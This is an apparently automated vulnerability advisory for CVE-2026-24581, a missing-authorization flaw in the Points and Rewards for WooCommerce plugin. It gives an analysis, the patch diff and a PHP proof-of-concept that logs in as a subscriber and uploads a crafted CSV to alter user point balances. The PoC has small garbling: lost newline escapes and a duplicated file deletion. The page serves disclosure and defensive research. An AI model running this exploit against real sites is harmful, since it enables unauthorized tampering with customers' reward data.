Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24581: Points and Rewards for WooCommerce <= 2.9.5 – Missing Authorization (points-and-rewards-for-woocommerce)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.9.5
Patched Version 2.9.6
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24581:
This vulnerability is a missing authorization flaw in the Points and Rewards for WooCommerce WordPress plugin, affecting all versions up to and including 2.9.5. The vulnerability allows authenticated attackers with Subscriber-level access or higher to perform unauthorized administrative actions via a specific AJAX endpoint.

Atomic Edge research identified the root cause in the wps_large_scv_import() function within the file points-and-rewards-for-woocommerce/admin/class-points-rewards-for-woocommerce-admin.php. The function at line 2182 lacked both authentication and authorization checks before version 2.9.6. The function only performed a nonce verification via check_ajax_referer() but did not verify user login status or capability requirements.

Attackers exploit this vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to wps_large_scv_import. The request must include a valid nonce (wps_nonce) and a CSV file upload via the userpoints_csv_import parameter. Subscriber-level authenticated users can trigger the CSV import functionality, which is intended only for administrators with manage_options capability.

The patch in version 2.9.6 adds two critical security checks. First, it verifies user authentication with !is_user_logged_in() at line 2189. Second, it enforces authorization with !current_user_can(‘manage_options’) at line 2200. Both checks return JSON error responses and terminate execution via wp_die() when failed. The patch also adds ABSPATH checks to multiple files for security hardening.

Successful exploitation allows attackers with minimal privileges to import CSV files containing user points data. This could enable unauthorized manipulation of loyalty program points, potentially affecting customer reward balances, user rankings, and gamification systems. While the vulnerability doesn’t grant full administrative access, it allows unauthorized data modification within the plugin’s points management system.

Differential between vulnerable and patched code

Code Diff
--- a/points-and-rewards-for-woocommerce/admin/class-points-rewards-for-woocommerce-admin.php
+++ b/points-and-rewards-for-woocommerce/admin/class-points-rewards-for-woocommerce-admin.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/admin
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * The admin-specific functionality of the plugin.
  *
@@ -2182,8 +2186,33 @@
 	 * @return void
 	 */
 	public function wps_large_scv_import() {
+
 		check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );

+		// Authentication check.
+		if ( ! is_user_logged_in() ) {
+
+			wp_send_json(
+				array(
+					'result' => false,
+					'msg'    => esc_html__( 'Authentication required', 'points-and-rewards-for-woocommerce' ),
+				)
+			);
+			wp_die();
+		}
+
+		// Authorization check.
+		if ( ! current_user_can( 'manage_options' ) ) {
+
+			wp_send_json(
+				array(
+					'result' => false,
+					'msg'    => esc_html__( 'Access denied', 'points-and-rewards-for-woocommerce' ),
+				)
+			);
+			wp_die();
+		}
+
 		$start          = isset( $_POST['start'] ) ? sanitize_text_field( wp_unslash( intval( $_POST['start'] ) ) ) : 0;
 		$chunk_size     = 1000; // Adjust chunk size as needed.
 		$temp_file_path = ! empty( $_FILES['userpoints_csv_import']['tmp_name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['tmp_name'] ) ) : '';
--- a/points-and-rewards-for-woocommerce/admin/class-points-rewards-for-woocommerce-dummy-settings.php
+++ b/points-and-rewards-for-woocommerce/admin/class-points-rewards-for-woocommerce-dummy-settings.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/admin
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * The admin-specific functionality of the plugin.
  *
@@ -505,39 +509,39 @@
 				'desc_tip'          => __( 'The Number of Customers To Be Listed During Ranking', 'points-and-rewards-for-woocommerce' ),
 			),
 			array(
-				'title'    => __( 'First Rank Bonus Rewards', 'ultimate-woocommerce-points-and-rewards' ),
+				'title'    => __( 'First Rank Bonus Rewards', 'points-and-rewards-for-woocommerce' ),
 				'type'     => 'checkbox',
-				'desc'     => __( 'Turn on this option to grant bonus points to users who achieve the first rank.', 'ultimate-woocommerce-points-and-rewards' ),
+				'desc'     => __( 'Turn on this option to grant bonus points to users who achieve the first rank.', 'points-and-rewards-for-woocommerce' ),
 				'id'       => 'wps_wpr_dummy_enable_to_rewards_extra_points_first_rank',
-				'desc_tip' => __( 'Enable this option to apply additional reward points to users occupying the first-rank position.', 'ultimate-woocommerce-points-and-rewards' ),
+				'desc_tip' => __( 'Enable this option to apply additional reward points to users occupying the first-rank position.', 'points-and-rewards-for-woocommerce' ),
 				'default'  => 0,
 				'class'    => 'wps_wpr_pro_plugin_settings',
 			),
 			array(
-				'title' => __( 'Points Assignment Type', 'ultimate-woocommerce-points-and-rewards' ),
+				'title' => __( 'Points Assignment Type', 'points-and-rewards-for-woocommerce' ),
 				'id' => 'wps_wpr_dummy_rank_points_assignment_type',
 				'class' => 'wps_wgm_new_woo_ver_style_select wps_wpr_pro_plugin_settings',
 				'type' => 'singleSelectDropDownWithKeyvalue',
-				'desc_tip' => __( 'Choose the interval at which points will be awarded, either weekly or monthly', 'ultimate-woocommerce-points-and-rewards' ),
+				'desc_tip' => __( 'Choose the interval at which points will be awarded, either weekly or monthly', 'points-and-rewards-for-woocommerce' ),
 				'custom_attribute' => array(
 					array(
 						'id' => 'week',
-						'name' => __( 'Weekly', 'ultimate-woocommerce-points-and-rewards' ),
+						'name' => __( 'Weekly', 'points-and-rewards-for-woocommerce' ),
 					),
 					array(
 						'id' => 'month',
-						'name' => __( 'Monthly', 'ultimate-woocommerce-points-and-rewards' ),
+						'name' => __( 'Monthly', 'points-and-rewards-for-woocommerce' ),
 					),
 				),
 			),
 			array(
-				'title'             => __( 'Enter Points', 'ultimate-woocommerce-points-and-rewards' ),
+				'title'             => __( 'Enter Points', 'points-and-rewards-for-woocommerce' ),
 				'type'              => 'number',
 				'default'           => 1,
 				'id'                => 'wps_wpr_dummy_rank_holder_points',
 				'custom_attributes' => array( 'min' => '"1"' ),
 				'class'             => 'input-text wps_wpr_new_woo_ver_style_text wps_wpr_pro_plugin_settings',
-				'desc_tip'          => __( 'Entered points will be assigned to user based on the selected interval', 'ultimate-woocommerce-points-and-rewards' ),
+				'desc_tip'          => __( 'Entered points will be assigned to user based on the selected interval', 'points-and-rewards-for-woocommerce' ),
 			),
 			array(
 				'type' => 'sectionend',
@@ -711,13 +715,13 @@
 				'desc_tip'          => __( 'The Points That The Customers Will Get, Only on Their Birthday', 'points-and-rewards-for-woocommerce' ),
 			),
 			array(
-				'title'             => __( 'Birthday Month Points Multiplier', 'ultimate-woocommerce-points-and-rewards' ),
+				'title'             => __( 'Birthday Month Points Multiplier', 'points-and-rewards-for-woocommerce' ),
 				'type'              => 'number',
 				'default'           => 1,
 				'id'                => 'wps_wpr_dummy_birth_day_multiplier',
 				'custom_attributes' => array( 'min' => '"1"' ),
 				'class'             => 'input-text wps_wpr_new_woo_ver_style_text wps_wpr_pro_plugin_settings',
-				'desc_tip'          => __( 'Apply a points multiplier to all orders placed during the user’s birthday month. The points earned will be multiplied based on the selected value (2X / 3X).', 'ultimate-woocommerce-points-and-rewards' ),
+				'desc_tip'          => __( 'Apply a points multiplier to all orders placed during the user’s birthday month. The points earned will be multiplied based on the selected value (2X / 3X).', 'points-and-rewards-for-woocommerce' ),
 			),
 			array(
 				'type' => 'sectionend',
--- a/points-and-rewards-for-woocommerce/admin/index.php
+++ b/points-and-rewards-for-woocommerce/admin/index.php
@@ -7,4 +7,8 @@
  * @package    Points and Rewards for WooCommerce
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 esc_html_e( 'oops looks like nothing is here', 'points-and-rewards-for-woocommerce' );
--- a/points-and-rewards-for-woocommerce/includes/class-points-rewards-for-woocommerce-loader.php
+++ b/points-and-rewards-for-woocommerce/includes/class-points-rewards-for-woocommerce-loader.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/includes
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Register all actions and filters for the plugin.
  *
--- a/points-and-rewards-for-woocommerce/includes/class-points-rewards-for-woocommerce.php
+++ b/points-and-rewards-for-woocommerce/includes/class-points-rewards-for-woocommerce.php
@@ -12,6 +12,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/includes
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * The core plugin class.
  *
@@ -79,7 +83,7 @@
 			$this->version = REWARDEEM_WOOCOMMERCE_POINTS_REWARDS_VERSION;
 		} else {

-			$this->version = '2.9.5';
+			$this->version = '2.9.6';
 		}

 		$this->plugin_name = 'points-and-rewards-for-woocommerce';
--- a/points-and-rewards-for-woocommerce/includes/class-wpswings-onboarding-helper.php
+++ b/points-and-rewards-for-woocommerce/includes/class-wpswings-onboarding-helper.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/includes
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * The Onboarding-specific functionality of the plugin admin side.
  *
--- a/points-and-rewards-for-woocommerce/includes/index.php
+++ b/points-and-rewards-for-woocommerce/includes/index.php
@@ -7,4 +7,8 @@
  * @package    Points and Rewards for WooCommerce
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 esc_html_e( 'oops looks like nothing is here', 'points-and-rewards-for-woocommerce' );
--- a/points-and-rewards-for-woocommerce/index.php
+++ b/points-and-rewards-for-woocommerce/index.php
@@ -7,4 +7,8 @@
  * @package    Points and Rewards for WooCommerce
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 esc_html_e( 'oops looks like nothing is here', 'points-and-rewards-for-woocommerce' );
--- a/points-and-rewards-for-woocommerce/points-rewards-for-woocommerce.php
+++ b/points-and-rewards-for-woocommerce/points-rewards-for-woocommerce.php
@@ -14,7 +14,7 @@
  * @wordpress-plugin
  * Plugin Name:       Points and Rewards for WooCommerce
  * Description:       <code><strong>Points and Rewards for WooCommerce</strong></code> plugin allow merchants to reward their loyal customers with referral rewards points on store activities. <a href="https://wpswings.com/woocommerce-plugins/?utm_source=wpswings-shop-page&utm_medium=par-org-backend&utm_campaign=more-plugin" target="_blank"> Elevate your e-commerce store by exploring more on <strong> WP Swings </strong></a>
- * Version:           2.9.5
+ * Version:           2.9.6
  * Author:            WP Swings
  * Author URI:        https://wpswings.com/?utm_source=wpswings-par-official&utm_medium=par-org-backend&utm_campaign=official
  * Plugin URI:        https://wordpress.org/plugins/points-and-rewards-for-woocommerce/
@@ -25,7 +25,7 @@
  * WP Requires at least : 6.7.0
  * WP Tested up to      : 6.9
  * WC requires at least : 6.5.0
- * WC tested up to      : 10.4.2
+ * WC tested up to      : 10.4.3
  * Requires PHP         : 7.4
  *
  * License:           GNU General Public License v3.0
@@ -81,7 +81,7 @@
 	 */
 	function define_rewardeem_woocommerce_points_rewards_constants() {

-		rewardeem_woocommerce_points_rewards_constants( 'REWARDEEM_WOOCOMMERCE_POINTS_REWARDS_VERSION', '2.9.5' );
+		rewardeem_woocommerce_points_rewards_constants( 'REWARDEEM_WOOCOMMERCE_POINTS_REWARDS_VERSION', '2.9.6' );
 		rewardeem_woocommerce_points_rewards_constants( 'WPS_RWPR_DIR_PATH', plugin_dir_path( __FILE__ ) );
 		rewardeem_woocommerce_points_rewards_constants( 'WPS_RWPR_DIR_URL', plugin_dir_url( __FILE__ ) );
 		rewardeem_woocommerce_points_rewards_constants( 'WPS_RWPR_HOME_URL', admin_url() );
@@ -921,4 +921,3 @@
 		}
 	}
 }
-
--- a/points-and-rewards-for-woocommerce/public/class-points-rewards-for-woocommerce-public.php
+++ b/points-and-rewards-for-woocommerce/public/class-points-rewards-for-woocommerce-public.php
@@ -4028,6 +4028,11 @@
 	 */
 	public function wps_wpr_show_canvas_icons() {

+		// return if admin page or iframe request.
+		if ( is_admin() || ( defined( 'IFRAME_REQUEST' ) && IFRAME_REQUEST ) ) {
+			return;
+		}
+
 		// calling campaign modal function.
 		$this->wps_wpr_show_campaign_modal();

--- a/points-and-rewards-for-woocommerce/public/index.php
+++ b/points-and-rewards-for-woocommerce/public/index.php
@@ -7,4 +7,8 @@
  * @package    Points and Rewards for WooCommerce
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 esc_html_e( 'oops looks like nothing is here', 'points-and-rewards-for-woocommerce' );
--- a/points-and-rewards-for-woocommerce/public/partials/wps-wpr-points-campaign-template.php
+++ b/points-and-rewards-for-woocommerce/public/partials/wps-wpr-points-campaign-template.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/public/partials
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 // feature settings.
 $user_id                                = get_current_user_id();
 $wps_wpr_campaign_settings              = get_option( 'wps_wpr_campaign_settings', array() );
--- a/points-and-rewards-for-woocommerce/public/partials/wps-wpr-points-log-template.php
+++ b/points-and-rewards-for-woocommerce/public/partials/wps-wpr-points-log-template.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/public/partials
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 $user_id = $user_ID;
 if ( isset( $user_id ) && null != $user_id && is_numeric( $user_id ) ) {
 	$point_log    = get_user_meta( $user_id, 'points_details', true );
--- a/points-and-rewards-for-woocommerce/public/partials/wps-wpr-template-three-points-tab.php
+++ b/points-and-rewards-for-woocommerce/public/partials/wps-wpr-template-three-points-tab.php
@@ -9,6 +9,10 @@
  * @subpackage points-and-rewards-for-wooCommerce/public/partials
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 $user_id    = get_current_user_id();
 $get_points = (int) get_user_meta( $user_id, 'wps_wpr_points', true );
 $my_role    = ! empty( get_user_meta( $user_id, 'membership_level', true ) ) ? get_user_meta( $user_id, 'membership_level', true ) : '';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24581 - Points and Rewards for WooCommerce <= 2.9.5 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24581
 * Requires: Subscriber-level WordPress account credentials
 * Target: WordPress site with vulnerable plugin (<= v2.9.5)
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a temporary cookie jar
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_24581');

// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

// Step 2: Extract nonce from admin page (required for AJAX request)
// The nonce is typically available in admin pages or can be obtained via other endpoints
// For this PoC, we assume the attacker has obtained a valid nonce
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with actual nonce from page source

// Step 3: Prepare malicious CSV import request
// Create a simple CSV file with user points data
$csv_content = "user_id,pointsn2,1000n3,5000";
$csv_file = tempnam(sys_get_temp_dir(), 'malicious_points');
file_put_contents($csv_file, $csv_content);

// Prepare multipart form data
$post_fields = [
    'action' => 'wps_large_scv_import',
    'wps_nonce' => $nonce,
    'start' => '0',
    'userpoints_csv_import' => new CURLFile($csv_file, 'text/csv', 'userpoints.csv')
];

// Step 4: Execute the unauthorized CSV import
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $post_fields,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Step 5: Analyze response
if ($http_code == 200) {
    echo "[+] Potential exploitation successfuln";
    echo "Response: " . $ajax_response . "n";
    
    // Check for error messages that indicate patch is present
    if (strpos($ajax_response, 'Authentication required') !== false ||
        strpos($ajax_response, 'Access denied') !== false) {
        echo "[-] Target appears to be patched (authorization checks present)n";
    } else {
        echo "[+] Target appears vulnerable - CSV import may have succeededn";
    }
} else {
    echo "[-] Request failed with HTTP code: " . $http_code . "n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);
unlink($csv_file);
unlink($csv_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School